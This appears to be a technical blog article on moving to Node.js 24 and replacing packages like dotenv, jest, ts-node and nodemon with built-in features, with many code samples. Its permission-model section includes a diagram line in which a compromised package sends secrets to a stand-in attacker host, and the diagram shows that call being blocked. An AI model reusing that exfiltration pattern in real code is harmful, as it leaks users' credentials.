The "Native-First" Revolution: How Node.js 24 Is Ending Dependency Hell in 2026

1. The Forcing Function: Why 2026 Is the Year You Finally Migrate

There's a joke that never quite got old:

"A node_modules folder is the heaviest object in the known universe."

It was funny because it was true. A fresh Express + TypeScript project in 2022 required installing jest, ts-node, dotenv, nodemon, node-fetch, uuid, and better-sqlite3 before writing a single line of business logic. That dragged in 800–1,200 packages. Your Docker images ballooned. Your CI pipelines crept. Every dependency was a supply chain attack waiting to happen.

That era is over — and there's a concrete, time-sensitive reason 2026 is the year to act.

Node.js 20 reached end-of-life in April 2026. If your team is still running it in production, you have no security patches. Node.js 22 remains in maintenance LTS until April 2027, but it is no longer the recommended target for new work.

timeline
    title Node.js LTS Support Window — 2026 View
    section End of Life
        April 2026 : Node.js 20 EOL ⛔
    section Maintenance LTS
        April 2027 : Node.js 22 EOL — supported but not for new projects
    section Active LTS — Use This
        Oct 2025 to Apr 2028 : Node.js 24 "Krypton" — Active LTS
    section Current
        Oct 2025 to Oct 2026 : Node.js 25
    section Coming Soon
        Late 2026 : New LTS Cadence — every major release becomes LTS

New in late 2026: The Node.js project is moving to a simplified annual major release schedule where every release becomes an LTS release. This means faster, more predictable upgrades and no more "skip this version" confusion. Node.js 24 is the last release under the old even/odd model. This makes getting on Node.js 24 now the right foundation before that cadence kicks in.

The upgrade is overdue. And upgrading to Node.js 24 isn't just a security patch — it's a fundamentally leaner, faster, and more secure platform.

2. What "Native-First" Actually Means

Over the past three Node.js major releases, the core team has systematically absorbed the most-downloaded third-party packages directly into the runtime. The guiding principle: stop reaching for npm install for things the platform should handle itself.

graph TD
    subgraph BEFORE["❌ Node.js ~2022 — You Install Everything"]
        direction LR
        A1["Your App"] --> B1["dotenv\nenv vars"]
        A1 --> C1["jest + babel\ntesting"]
        A1 --> D1["ts-node / tsx\nTypeScript"]
        A1 --> E1["nodemon\nfile watch"]
        A1 --> F1["node-fetch\nHTTP"]
        A1 --> G1["better-sqlite3\nSQLite"]
        A1 --> H1["uuid\nrandom IDs"]
        A1 --> I1["fast-glob\nfile patterns"]
        B1 & C1 & D1 & E1 & F1 & G1 & H1 & I1 --> Z1["📦 node_modules\n900 – 1,200 packages"]
    end

    subgraph AFTER["✅ Node.js 24 — Batteries Included"]
        direction LR
        A2["Your App"] --> B2["--env-file\nflag"]
        A2 --> C2["node:test\nmodule"]
        A2 --> D2["Native TS\n(default in v24)"]
        A2 --> E2["--watch\nflag"]
        A2 --> F2["global fetch\n+ AbortController"]
        A2 --> G2["node:sqlite\nRC module"]
        A2 --> H2["crypto.randomUUID()\nbuilt-in"]
        A2 --> I2["fs.glob()\nbuilt-in"]
        B2 & C2 & D2 & E2 & F2 & G2 & H2 & I2 --> Z2["📦 node_modules\n~50 – 85 packages"]
    end

That is roughly a 92% reduction in packages — translating directly into faster installs, leaner Docker images, shorter CI runs, and a drastically smaller attack surface. Let's walk through every piece.

3. Feature Deep-Dives

Native TypeScript — The Build Step Is Dead (Mostly)

For a decade, shipping TypeScript meant an unavoidable ceremony:

# Old way — compile first, then run
tsc src/index.ts --outDir dist
node dist/index.js

# Or the slightly-less-painful middle ground:
npx ts-node src/index.ts

Node.js 24 ends this for most projects. Type stripping is on by default for .ts files — no flags, no tsconfig.json build setup, no dist/ folder:

# Node.js 24: just run it
node src/server.ts

Under the hood, Node.js uses amaro (backed by Rust's SWC parser) to erase TypeScript type annotations before handing plain JavaScript to V8. This is type erasure, not compilation. Node.js never type-checks your code — that remains tsc --noEmit's job.

// src/api/users.ts — runs directly on Node.js 24, zero build tooling
import { createServer, type IncomingMessage, type ServerResponse } from 'node:http';

interface User {
  id: number;
  name: string;
  email: string;
}

async function getUser(id: number): Promise<User | null> {
  const res = await fetch(`https://api.example.com/users/${id}`);
  if (!res.ok) return null;
  return res.json() as Promise<User>;
}

const server = createServer(async (req: IncomingMessage, res: ServerResponse) => {
  const id = Number(req.url?.split('/').pop());
  const user = await getUser(id);

  if (!user) {
    res.writeHead(404, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ error: 'Not found' }));
    return;
  }

  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify(user));
});

server.listen(3000, () => console.log('Running on http://localhost:3000'));

# Always enable source maps for readable stack traces
node --enable-source-maps src/api/users.ts

# Type checking still lives in CI — Node.js doesn't check types
npx tsc --noEmit

The Honest Limitations

Most articles skip this. Here is what native type stripping cannot handle:

// ❌ TypeScript enums → ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX
enum Status { Active = 'ACTIVE', Inactive = 'INACTIVE' }

// ✅ Fix: use const objects + union types (fully erasable)
const Status = { Active: 'ACTIVE', Inactive: 'INACTIVE' } as const;
type Status = typeof Status[keyof typeof Status];

// ❌ TypeScript decorators (NestJS, TypeORM, class-transformer)
@Controller('/users')
class UserController { @Get('/') list() {} }

// ✅ Fix: keep tsx or ts-node for decorator-heavy codebases

// ❌ Parameter properties
class Service {
  constructor(private readonly db: Database) {}  // stripped incorrectly
}

// ✅ Fix: expand to explicit assignments
class Service {
  private readonly db: Database;
  constructor(db: Database) { this.db = db; }
}

// ❌ JSX / TSX — native strip-types is backend-only
// Next.js, Remix, Astro — keep your bundler

// ❌ TypeScript namespaces (legacy)
namespace Utils { export function helper() {} }

For enums specifically: --experimental-transform-types (Node.js 22.7+) handles them — but it performs actual code transformation, not just stripping, so it's slower and still opt-in.

What you can delete:

npm uninstall ts-node ts-node-dev tsx
# Keep: typescript (for tsc --noEmit in CI)

Built-in Test Runner — Dethroning Jest

Jest's architecture has a fundamental performance problem: it spawns isolated worker processes per file and bootstraps Babel or ts-jest on every run. node:test (stable since Node.js 20, feature-complete in Node.js 24) runs directly in V8 with no middleware between your code and the engine.

xychart-beta
    title "200-Test Suite Execution Time (seconds) — lower is better"
    x-axis ["Jest 29", "Vitest 1.x", "node:test (Node 24)"]
    y-axis "Seconds" 0 --> 30
    bar [28, 11, 4.5]

28s ÷ 4.5s = ~6.2× faster than Jest.

Here is a direct migration example:

// ─── BEFORE: Jest ─────────────────────────────────
import { describe, it, expect, jest } from '@jest/globals';

const fetchMock = jest.fn();
global.fetch = fetchMock;

describe('UserService', () => {
  it('fetches a user by id', async () => {
    fetchMock.mockResolvedValueOnce({
      ok: true,
      json: async () => ({ id: 1, name: 'Alice' }),
    });
    const { UserService } = await import('../src/user.service.js');
    const user = await UserService.getById(1);
    expect(user.name).toBe('Alice');
    expect(fetchMock).toHaveBeenCalledTimes(1);
  });
});

// ─── AFTER: node:test — zero external packages ────
import { describe, it, afterEach, mock } from 'node:test';
import assert from 'node:assert/strict';

const fetchMock = mock.fn();

describe('UserService', () => {
  afterEach(() => fetchMock.mock.resetCalls());

  it('fetches a user by id', async () => {
    mock.method(globalThis, 'fetch', fetchMock);
    fetchMock.mock.mockImplementationOnce(async () => ({
      ok: true,
      json: async () => ({ id: 1, name: 'Alice' }),
    }));
    // ⚠️ Import AFTER setting up mocks — see Pitfall 5
    const { UserService } = await import('../src/user.service.js');
    const user = await UserService.getById(1);

    assert.equal(user.name, 'Alice');
    assert.equal(fetchMock.mock.calls.length, 1);
  });
});

node --test                                    # Run all tests
node --test src/**/*.test.ts                   # With TypeScript (Node 24)
node --test --watch                            # Watch mode
node --test --experimental-test-coverage       # Coverage report
node --test --reporter=junit > results.xml     # CI-friendly output

Feature comparison:

Snapshot testing in node:test: Added in Node.js 22.3.0 via context.assert.snapshot(). By the time you're on Node.js 24 LTS, this is available. The API is simpler than Jest's — run tests once with --test-update-snapshots to generate, then without to assert.

// Snapshot test example — no jest.toMatchSnapshot() needed
test('renders user card correctly', (t) => {
  const html = renderUserCard({ name: 'Alice', role: 'admin' });
  t.assert.snapshot(html);
});

What you can delete:

npm uninstall jest @types/jest ts-jest babel-jest jest-circus @jest/globals sinon nock

Native .env Loading — Ditch dotenv

dotenv peaked at 40+ million weekly downloads. Node.js 24 makes it optional:

# OLD: npm install dotenv + require('dotenv').config() in every entrypoint
# NEW: one flag, built into Node.js
node --env-file=.env src/server.ts

Cascade multiple files — later values override earlier ones:

node --env-file=.env --env-file=.env.local src/server.ts

# .env
DATABASE_URL=postgres://localhost:5432/myapp
API_SECRET=super_secret_value
PORT=3000
NODE_ENV=production

// process.env is populated before your code runs — no imports needed
const port   = Number(process.env.PORT) || 3000;
const db     = process.env.DATABASE_URL ?? '';
const secret = process.env.API_SECRET   ?? '';

⚠️ Gotcha: The native flag does NOT support variable expansion. USERS_URL=${BASE_URL}/users will not interpolate ${BASE_URL}. If you rely on dotenv-expand, keep it for that specific use case.

What you can delete:

npm uninstall dotenv dotenv-expand dotenv-safe

Built-in SQLite — Zero-Setup Database (Release Candidate)

Stability notice: node:sqlite is currently Stability 1.2 — Release Candidate (promoted in Node.js v25.7.0, February 2026). It is not experimental, but minor API refinements may still occur before it reaches full Stability 2 (Stable). It is safe to use in production for scripts, CLIs, and internal tooling — treat it like a late-beta for critical paths until Stability 2 is confirmed.

For scripts, CLI tools, prototypes, and lightweight services, it is an excellent dependency-free database:

import { DatabaseSync } from 'node:sqlite';

const db = new DatabaseSync('./inventory.db');

db.exec(`
  CREATE TABLE IF NOT EXISTS products (
    id        INTEGER PRIMARY KEY AUTOINCREMENT,
    sku       TEXT    NOT NULL UNIQUE,
    name      TEXT    NOT NULL,
    price     REAL    NOT NULL CHECK(price > 0),
    stock     INTEGER NOT NULL DEFAULT 0
  )
`);

// Prepared statements prevent SQL injection
const upsert    = db.prepare('INSERT OR REPLACE INTO products (sku, name, price, stock) VALUES (?, ?, ?, ?)');
const findBySku = db.prepare('SELECT * FROM products WHERE sku = ?');
const lowStock  = db.prepare('SELECT * FROM products WHERE stock < ? ORDER BY stock ASC');

upsert.run('WIDGET-001', 'Widget Pro', 29.99, 150);
upsert.run('GADGET-002', 'Gadget Lite', 9.99, 3);

console.log(findBySku.get('WIDGET-001'));
// → { id: 1, sku: 'WIDGET-001', name: 'Widget Pro', price: 29.99, stock: 150 }

console.log('Low stock:', lowStock.all(10));

db.close();

When to use node:sqlite vs alternatives:

Native Fetch, AbortController & Web APIs

fetch is a stable global in Node.js 24, powered by Undici 7. No imports, no packages:

// GET with auth header
async function getUser(id: number) {
  const res = await fetch(`https://api.example.com/users/${id}`, {
    headers: { Authorization: `Bearer ${process.env.API_TOKEN}` },
  });
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  return res.json();
}

// POST with timeout — AbortController is also a global
async function createOrder(payload: Record<string, unknown>) {
  const ctrl  = new AbortController();
  const timer = setTimeout(() => ctrl.abort(), 5_000);
  try {
    const res = await fetch('https://api.example.com/orders', {
      method:  'POST',
      headers: { 'Content-Type': 'application/json' },
      body:    JSON.stringify(payload),
      signal:  ctrl.signal,
    });
    return res.json();
  } finally {
    clearTimeout(timer);
  }
}

The full Web API table (all stable globals in Node.js 24):

When to keep axios: Request/response interceptors, automatic retry logic, and a unified browser+server API are genuine advantages. For backend-only code without those needs, native fetch covers everything.

What you can delete:

npm uninstall node-fetch isomorphic-fetch cross-fetch abort-controller form-data blob

Built-in Watch Mode — Retire nodemon

# OLD
nodemon --exec ts-node src/server.ts

# NEW (stable since Node.js 22)
node --watch src/server.ts

# With TypeScript (Node.js 24)
node --watch --enable-source-maps src/server.ts

# Watch specific paths (monorepos)
node --watch-path=./src --watch-path=./config src/server.ts

nodemon still wins when you need to restart on non-JS file changes (.yaml, .json), configure custom delays, or run pre/post restart scripts. For the 90% case — "restart when my source files change" — --watch is sufficient.

npm uninstall nodemon

Permission Model — Runtime Security Built In

This is the most underrated feature of Node.js 24, now production-stable (no longer behind --experimental-permission — just --permission):

# Read-only analytics: can only read /data
node --permission --allow-fs-read=/data src/analytics.ts

# Strict API server: only talk to specific domains
node --permission \
     --allow-fs-read=$(pwd) \
     --allow-net=api.stripe.com,hooks.sendgrid.com \
     src/server.ts

# Maximum lockdown for a data processor
node --permission \
     --allow-fs-read=$(pwd)/src \
     --allow-fs-write=/tmp/output \
     src/processor.ts

Supply chain attacks on npm packages are a growing, documented threat. A compromised dependency can, by default, do anything your process can: read your .env, exfiltrate credentials, write to disk. With --permission, even a fully malicious package is sandboxed:

sequenceDiagram
    actor Evil as 😈 Compromised Package
    participant PM as Node.js Permission Model
    participant ENV as .env File
    participant Net as attacker.example.com

    Evil->>PM: fs.readFile('.env')
    PM-->>Evil: ❌ ERR_ACCESS_DENIED — fs-read not granted for '/'

    Evil->>PM: fetch('https://attacker.example.com/exfil', secrets)
    PM-->>Evil: ❌ ERR_ACCESS_DENIED — domain not in --allow-net

    Note over PM: 🔒 Secrets never leave your server

Pro tip: Run your test suite under --permission too. node --permission --allow-fs-read=$(pwd) --test ensures tests cannot make unexpected network calls or write stray files outside your project directory.

Native Crypto, fs.glob & import.meta.dirname

Three hidden gems that eliminate small-but-frequent dependencies:

crypto.randomUUID() — Delete the uuid package

// OLD: npm install uuid
import { v4 as uuidv4 } from 'uuid';
const id = uuidv4();  // '9b1deb4d-...'

// NEW: built-in, no import needed from userland
import { randomUUID } from 'node:crypto';
const id = randomUUID();  // identical output, zero package

fs.glob() — Delete fast-glob

// OLD: npm install fast-glob
import fg from 'fast-glob';
const files = await fg('src/**/*.ts');

// NEW: node:fs/promises (stable in Node.js 24)
import { glob } from 'node:fs/promises';
const tsFiles   = await Array.fromAsync(glob('src/**/*.ts'));
const configs   = await Array.fromAsync(glob('**/*.{json,yaml}', {
  exclude: ['node_modules/**', 'dist/**'],
}));

import.meta.dirname & import.meta.filename — The modern __dirname

Since Node.js 20.11.0 (fully stable in Node.js 24), ES modules expose import.meta.dirname and import.meta.filename directly — no workaround needed:

// OLD workaround (still works, but now unnecessary on Node 24)
import { fileURLToPath } from 'node:url';
import { dirname, join }  from 'node:path';
const __dirname = dirname(fileURLToPath(import.meta.url));
const configPath = join(__dirname, 'config.json');

// NEW — clean and direct (Node.js 20.11+ / Node.js 24)
import { join } from 'node:path';
const configPath = join(import.meta.dirname, 'config.json');

// Also available:
console.log(import.meta.filename);  // /absolute/path/to/current/file.ts
console.log(import.meta.dirname);   // /absolute/path/to/current/directory

npm uninstall uuid glob fast-glob globby

Single Executable Applications (SEA)

Node.js 24 ships a significantly improved SEA feature: you can now package your entire app into a single binary that runs without Node.js installed on the target machine. The --build-sea flag is now built directly into Node.js (no external postject dependency needed for the core workflow):

# Step 1: Bundle your app with esbuild (all dependencies inlined)
npx esbuild src/cli.ts \
  --bundle \
  --platform=node \
  --outfile=dist/bundle.js

# Step 2: Create SEA config
echo '{"main":"dist/bundle.js","output":"sea-prep.blob"}' > sea-config.json

# Step 3: Generate the blob (built into Node.js 24)
node --build-sea sea-config.json

# Step 4: Copy Node binary and inject the blob
cp $(which node) my-cli
npx postject my-cli NODE_SEA_BLOB sea-prep.blob \
    --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2

# Step 5: Ship it — runs on any machine, no Node.js required
./my-cli --help

Best use cases: CLI tools distributed to non-developers, internal utilities where installing Node.js on target machines is impractical, and portable microservices deployed to minimal container environments.

Current limitation: Your entire app including dependencies must be bundled into a single JS file first (use esbuild, rollup, or esbuild). Native addons that load from the filesystem won't work unless bundled in as assets.

4. The Bonus Round: V8 13.6, npm 11, Undici 7 & AsyncLocalStorage

V8 13.6 — New JavaScript, Faster Execution

Node.js 24 bumps the V8 engine to v13.6, bringing four notable additions:

Float16Array — For ML and data-processing workloads

// Half-precision floating point — 2 bytes per element vs 4 for Float32
// Useful for ML inference, WebGL, audio processing — cuts memory usage in half
const weights = new Float16Array([0.5, 0.25, 0.125, 0.0625]);
console.log(weights[0]);  // 0.5 — half-precision stored, full-precision read
console.log(weights.byteLength);  // 8 bytes vs 16 for Float32Array

using — Explicit Resource Management

The using keyword (TC39 Explicit Resource Management proposal, now stage 4) automatically calls [Symbol.dispose]() when a block exits — no more forgotten .close():

import { DatabaseSync } from 'node:sqlite';

function processReport() {
  // db.close() is called automatically when the function exits,
  // even if an error is thrown mid-execution
  using db = new DatabaseSync('./reports.db');
  return db.prepare('SELECT * FROM sales').all();
}
// db is guaranteed closed here

RegExp.escape() — Safer Dynamic Regex

// OLD: npm install escape-string-regexp
import escapeRegExp from 'escape-string-regexp';
const pattern = new RegExp(escapeRegExp(userInput));

// NEW: built-in
const pattern = new RegExp(RegExp.escape(userInput));

Error.isError() — Reliable Cross-Realm Error Detection

// OLD: breaks across iframes and VM contexts
if (err instanceof Error) { ... }

// NEW: works in all contexts
if (Error.isError(err)) { ... }

npm 11 — Shipped With Node.js 24

• Faster installs — improved resolution algorithm

• Stricter audit — no longer falls back to deprecated advisory endpoint; better vulnerability scanning

• npm init prompts for project type — smarter scaffolding

• Better peer dependency handling — fewer phantom resolution warnings

⚠️ Lockfile heads-up: npm 11 changed lockfile resolution behavior. If you commit package-lock.json, regenerate it explicitly in a dedicated PR rather than letting it silently drift:

rm package-lock.json && npm install
git add package-lock.json
git commit -m "chore: regenerate lockfile for npm 11 resolution"

Undici 7 — The Engine Behind Every fetch() Call

Every fetch() in Node.js goes through Undici. Version 7 brings:

• Stricter spec compliance — removes third-party polyfills for Blob, FormData, AbortController (now fully native)

• SQLite-backed HTTP cache — share cached HTTP responses across Node.js processes with --cache-store=sqlite

• WebSocketStream — streamable bidirectional WebSocket connections

• Proxy support via NODE_USE_ENV_PROXY=1 — fetch() now respects HTTP_PROXY / HTTPS_PROXY, eliminating a long-standing frustration for teams behind corporate proxies:

# Enable proxy support — previously required axios or custom agents
NODE_USE_ENV_PROXY=1 node --env-file=.env src/server.ts

AsyncLocalStorage / AsyncContextFrame

AsyncLocalStorage is the foundation for request-scoped context — tracing IDs, per-request logging, user sessions across async boundaries. Node.js 24 switches its default implementation to AsyncContextFrame, which is more efficient and more reliable under complex async patterns:

import { AsyncLocalStorage } from 'node:async_hooks';
import { randomUUID }        from 'node:crypto';

const requestCtx = new AsyncLocalStorage<{ traceId: string }>();

// Express middleware — context flows automatically through all async calls
app.use((req, res, next) => {
  requestCtx.run(
    { traceId: (req.headers['x-trace-id'] as string) ?? randomUUID() },
    next,
  );
});

// Anywhere in your async call chain — no prop-drilling
function logAction(action: string) {
  const { traceId } = requestCtx.getStore() ?? { traceId: 'unknown' };
  console.log(JSON.stringify({ action, traceId, ts: Date.now() }));
}

Teams running high-throughput Fastify or Express services with distributed tracing have reported measurable latency improvements after upgrading, because context propagation no longer hits the async_hooks infrastructure on every async tick.

5. Heads Up: npm v12 Is Coming in July 2026

This is the section most guides miss entirely, and it directly affects every Node.js 24 project.

npm v12 is expected to ship around July 2026 — roughly one month from this article's publish date. It introduces security-first defaults that will break install scripts many teams rely on without knowing it:

What's Changing

allowScripts defaults to false

npm install scripts (the postinstall, preinstall, install lifecycle hooks in package.json) will no longer run automatically. This is a major supply chain security win — install scripts are one of the most common vectors for malicious package attacks:

# npm v12 — install scripts are blocked by default
npm install some-package
# → ⚠️ Skipping install scripts for: some-package (allowScripts=false)

# To explicitly approve scripts for a package:
npm approve-scripts some-package
# → Adds to approved list in .npmrc or package.json

Git and remote dependencies blocked by default

# These will fail silently or error in npm v12 by default:
npm install github:user/repo        # --allow-git now required
npm install https://example.com/pkg.tgz  # --allow-remote now required

What You Should Do Before July 2026

# 1. Audit which packages in your project run install scripts
npm query ":attr(scripts, [install]), :attr(scripts, [postinstall])"

# 2. Test your install with the future default now
npm install --ignore-scripts

# 3. Identify which packages break (usually native addons: bcrypt, sharp, canvas)
# 4. For those, you'll need to explicitly approve them in npm v12:
#    npm approve-scripts bcrypt sharp canvas

The security story: npm v12's allowScripts=false default pairs perfectly with Node.js 24's Permission Model. Together they close two major supply chain attack vectors: malicious install-time code execution AND malicious runtime behavior. Teams adopting both get defense in depth that was impossible with Node.js 20.

6. Docker: The Full Before/After

# ─────────────────────────────────────────────
# ❌ BEFORE (2022-era) — ships everything
# ─────────────────────────────────────────────
FROM node:20

WORKDIR /app
COPY package*.json ./
# Installs jest, ts-node, nodemon, dotenv, sinon... all of it
RUN npm ci
COPY . .
# Required compile step
RUN npm run build

EXPOSE 3000
CMD ["node", "dist/server.js"]

# Final image: ~950MB
# node:20 base:              320MB
# node_modules (1,100 pkgs):  480MB
# dist/ + source:             150MB

# ─────────────────────────────────────────────
# ✅ AFTER (Node.js 24, Native-First)
# Multi-stage: no build step, no dist folder
# ─────────────────────────────────────────────
FROM node:24-slim AS deps
WORKDIR /app
COPY package*.json ./
# Only 2 real dependencies: express + typescript (for type-checking in CI)
RUN npm ci --omit=dev

FROM node:24-slim AS runtime
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY src/ ./src/
COPY package.json tsconfig.json ./

# Non-root user — security best practice
USER node

EXPOSE 3000
# Run TypeScript directly — no dist folder, no ts-node
CMD ["node", "--enable-source-maps", "src/server.ts"]

# Final image: ~165MB (83% smaller — 6× faster to pull)
# node:24-slim base:    85MB
# node_modules (~85):   55MB
# Source files:         25MB

Want to go further? node:24-alpine brings it to 90MB. Bundle your source with esbuild and use Google's Distroless base image and teams report reaching **24MB** for production Node.js microservices.

7. The Big Migration: package.json Before & After

❌ Before — typical 2023 Express + TypeScript project:

{
  "name": "my-api",
  "type": "module",
  "scripts": {
    "start":     "node dist/server.js",
    "dev":       "nodemon --exec ts-node src/server.ts",
    "build":     "tsc",
    "test":      "jest --coverage",
    "typecheck": "tsc --noEmit"
  },
  "dependencies": {
    "axios":          "^1.6.0",
    "better-sqlite3": "^9.2.0",
    "dotenv":         "^16.3.1",
    "express":        "^4.18.2",
    "uuid":           "^9.0.1"
  },
  "devDependencies": {
    "@types/better-sqlite3": "^7.6.8",
    "@types/express":        "^4.17.21",
    "@types/jest":           "^29.5.11",
    "@types/node":           "^20.11.0",
    "@types/uuid":           "^9.0.7",
    "babel-jest":            "^29.7.0",
    "jest":                  "^29.7.0",
    "nodemon":               "^3.0.2",
    "sinon":                 "^17.0.1",
    "ts-jest":               "^29.1.1",
    "ts-node":               "^10.9.2",
    "typescript":            "^5.3.3"
  }
}

~1,100 packages · Docker: ~950MB · npm install: ~75s · Test suite: ~28s

✅ After — Node.js 24 Native-First:

{
  "name": "my-api",
  "type": "module",
  "engines": { "node": ">=24.0.0" },
  "scripts": {
    "start":     "node --env-file=.env src/server.ts",
    "dev":       "node --env-file=.env --watch --enable-source-maps src/server.ts",
    "test":      "node --env-file=.env.test --test src/**/*.test.ts",
    "coverage":  "node --test --experimental-test-coverage src/**/*.test.ts",
    "typecheck": "tsc --noEmit"
  },
  "dependencies": {
    "express": "^5.0.0"
  },
  "devDependencies": {
    "@types/express": "^5.0.0",
    "typescript":    "^5.6.0"
  }
}

~85 packages · Docker: ~165MB · npm install: ~8s · Test suite: ~4.5s

Note on Express versions: The "Before" uses Express 4 and the "After" uses Express 5. This upgrade is separate from the Node.js 24 Native-First migration — Express 5 is the current LTS-aligned release and was used in the "After" example as the recommended baseline for new projects in 2026. Migrating from Express 4 to 5 is straightforward for most apps but should be treated as its own PR, not bundled with the Node.js upgrade.

92% fewer packages · 83% smaller Docker images · 89% faster installs · 84% faster tests · zero capability lost.

8. Common Migration Pitfalls (With Real Error Messages)

These are the exact errors your team will hit. Bookmark this section.

Pitfall 1 — TypeScript enums blow up immediately

SyntaxError [ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX]: TypeScript enum
declarations are not supported in strip-only mode.

// ❌ enum Status { Active = 'ACTIVE' }
// ✅ Fully erasable equivalent:
const Status = { Active: 'ACTIVE', Inactive: 'INACTIVE' } as const;
type Status = typeof Status[keyof typeof Status];

Pitfall 2 — Missing file extensions in ESM imports

Error [ERR_MODULE_NOT_FOUND]: Cannot find module './user.service'

// ❌ import { UserService } from './user.service'
// ✅ Node.js requires explicit extensions in ES modules
import { UserService } from './user.service.js';
// (.js extension works even for .ts source files — Node 24 resolves them)

Pitfall 3 — __dirname doesn't exist in ES modules

ReferenceError: __dirname is not defined in ES module scope

// ✅ Modern fix — use import.meta.dirname (Node.js 20.11+ / Node.js 24)
import { join } from 'node:path';
const configPath = join(import.meta.dirname, 'config.json');

// Also: import.meta.filename gives the full file path
console.log(import.meta.filename);  // /app/src/server.ts
console.log(import.meta.dirname);   // /app/src

// ⚠️ Older fallback (for Node.js < 20.11 only — not needed on Node 24):
// import { fileURLToPath } from 'node:url';
// import { dirname, join }  from 'node:path';
// const __dirname = dirname(fileURLToPath(import.meta.url));

Pitfall 4 — require() used in ES module context

ReferenceError: require is not defined in ES module scope

// ❌ const config = require('./config.json')
// ✅ Use import with assertion
import config from './config.json' with { type: 'json' };

Pitfall 5 — node:test mocks not applied before module import

Expected mock to be called. Calls: 0

// ❌ Module imported at top level — mock wasn't set up yet
import { UserService } from '../src/user.service.js';

// ✅ Set up mocks FIRST, then dynamic import inside the test
const fetchMock = mock.fn();
mock.method(globalThis, 'fetch', fetchMock);
const { UserService } = await import('../src/user.service.js'); // inside test

Pitfall 6 — npm 11 silently regenerates your lockfile

# Symptom: git diff shows unexpected package-lock.json changes after npm install
# Fix: regenerate explicitly in a dedicated PR
rm package-lock.json
npm install
git add package-lock.json
git commit -m "chore: regenerate lockfile for npm 11 compatibility"

Pitfall 7 — --experimental-test-coverage still requires the experimental flag

Even in Node.js 24, code coverage via the test runner remains behind the --experimental-test-coverage flag. It is not yet graduated to stable. This is expected behavior, not a bug — add it to your CI config and accept the experimental warning for now:

node --test --experimental-test-coverage
# ⚠️ ExperimentalWarning: --experimental-test-coverage is experimental
# This is fine — coverage still works correctly

9. Decision Guide: Native vs. Third-Party

flowchart TD
    A["Need a tool?"] --> B{"Is it covered\nby Node.js 24?"}
    B -->|"No"| C["Use the best\nthird-party package ✅"]
    B -->|"Yes"| D{"Does your codebase\nuse decorators,\nenums, or JSX?"}
    D -->|"Yes — TypeScript"| E["Keep tsx / ts-node\nfor TypeScript execution"]
    D -->|"No"| F{"Is this a\nproduction app\nor a script/CLI?"}
    F -->|"Script / CLI / Prototype"| G["Use native ✅"]
    F -->|"Production App"| H{"Hitting a\nnative limitation?"}
    H -->|"No"| G
    H -->|"Yes\n(e.g. SQLite extensions,\nretry logic)"| C

Quick reference:

10. Final Thoughts & Action Plan

The node_modules joke persisted for a decade because the problem was real. Every npm install dotenv jest ts-node nodemon was a tax — on your CI pipeline, on your Docker registry, on your attack surface, on the mental overhead of every developer who joins your team.

Node.js 24 does not ask you to adopt a new framework, learn a new paradigm, or rewrite your app. It asks you to do less. Stop installing packages for things the runtime handles. The result is faster builds, smaller images, fewer vulnerabilities, and a codebase new engineers can understand faster.

Here is a realistic migration plan that won't break anything:

gantt
    title Node.js 24 Native-First Migration Plan
    dateFormat  YYYY-MM-DD
    section Week 1 — Zero Risk
    Upgrade Node.js to 24 LTS           :w1a, 2026-06-17, 3d
    Replace nodemon with --watch         :w1b, 2026-06-17, 1d
    Replace dotenv with --env-file       :w1c, 2026-06-18, 1d
    section Week 2 — Low Risk
    Migrate one test file to node:test   :w2a, 2026-06-24, 3d
    Replace uuid with crypto.randomUUID  :w2b, 2026-06-24, 1d
    Audit install scripts for npm v12    :w2c, 2026-06-25, 2d
    section Week 3–4 — Medium Effort
    Migrate full test suite to node:test :w3a, 2026-07-01, 5d
    Replace node-fetch for simple calls  :w3b, 2026-07-03, 2d
    section Month 2 — Architectural
    Evaluate TypeScript stripping        :m2a, 2026-07-15, 7d
    Add --permission flags to services   :m2b, 2026-07-22, 5d
    Migrate SQLite to node:sqlite RC     :m2c, 2026-07-22, 5d
    Update Dockerfiles (multi-stage)     :m2d, 2026-07-29, 3d

Start with Week 1. Those are single-line changes that compound into meaningful savings. Each step pays dividends before the next begins.

Your node_modules diet starts today.

11. FAQ

Q: Can Node.js 24 run TypeScript without ts-node or tsx? Yes. Type stripping is on by default in Node.js 24 — run node src/file.ts directly. The caveat: TypeScript enums, decorators, JSX, and namespaces are not supported without --experimental-transform-types. For codebases using those features, tsx remains the pragmatic choice.

Q: Does node:test fully replace Jest? For backend/Node.js-only projects, yes — including mocking, lifecycle hooks, watch mode, and now snapshot testing (context.assert.snapshot()). For frontend testing with @testing-library/react or complex snapshot trees, stay on Jest or Vitest.

Q: How do I load .env files without dotenv in Node.js 24? Use the --env-file flag: node --env-file=.env src/server.ts. For multiple environments, cascade files: node --env-file=.env --env-file=.env.local src/server.ts. The one limitation: variable interpolation (${VAR}) is not supported natively.

Q: Is node:sqlite production-ready in Node.js 24? It is currently Release Candidate (Stability 1.2) — not experimental, but not yet fully stabilized. It is safe for scripts, CLI tools, and internal services. For critical production paths, better-sqlite3 or an ORM remains the safer choice until node:sqlite reaches Stability 2.

Q: What npm packages can I safely remove after upgrading to Node.js 24? Candidates: dotenv, jest (and related: ts-jest, babel-jest, sinon), ts-node, tsx, nodemon, node-fetch, abort-controller, form-data, uuid, fast-glob, glob. Evaluate each against your specific use case before uninstalling.

Q: What is the npm v12 allowScripts change and when does it affect me? npm v12, expected July 2026, defaults allowScripts to false — meaning install scripts (postinstall, etc.) in npm packages no longer run automatically. Packages using native addons (like bcrypt, sharp, canvas) will break silently. Audit now with npm install --ignore-scripts and use npm approve-scripts to explicitly allow trusted packages.

Q: Should I migrate from Express 4 to Express 5 at the same time? These are independent migrations. Upgrading Node.js to 24 does not require upgrading Express. Do them in separate PRs — each is low-risk on its own; combining them makes rollback harder.

12. Further Reading

Official Documentation

• 📖 Node.js 24.0.0 Release Notes

• 📖 Running TypeScript Natively in Node.js

• 📖 node:test API Reference

• 📖 node:sqlite Documentation

• 📖 Permission Model

• 📖 Single Executable Applications

• 📖 Node.js Release Schedule

• 📖 import.meta.dirname / import.meta.filename

Articles & Deep Dives

• 📰 Why You Should Upgrade to Node.js 24 — Devloopd (June 2026)

• 📰 Node 22 vs Node 24 in 2026 — PkgPulse

• 📰 Native TypeScript in Node.js 2026 — HireNodeJS

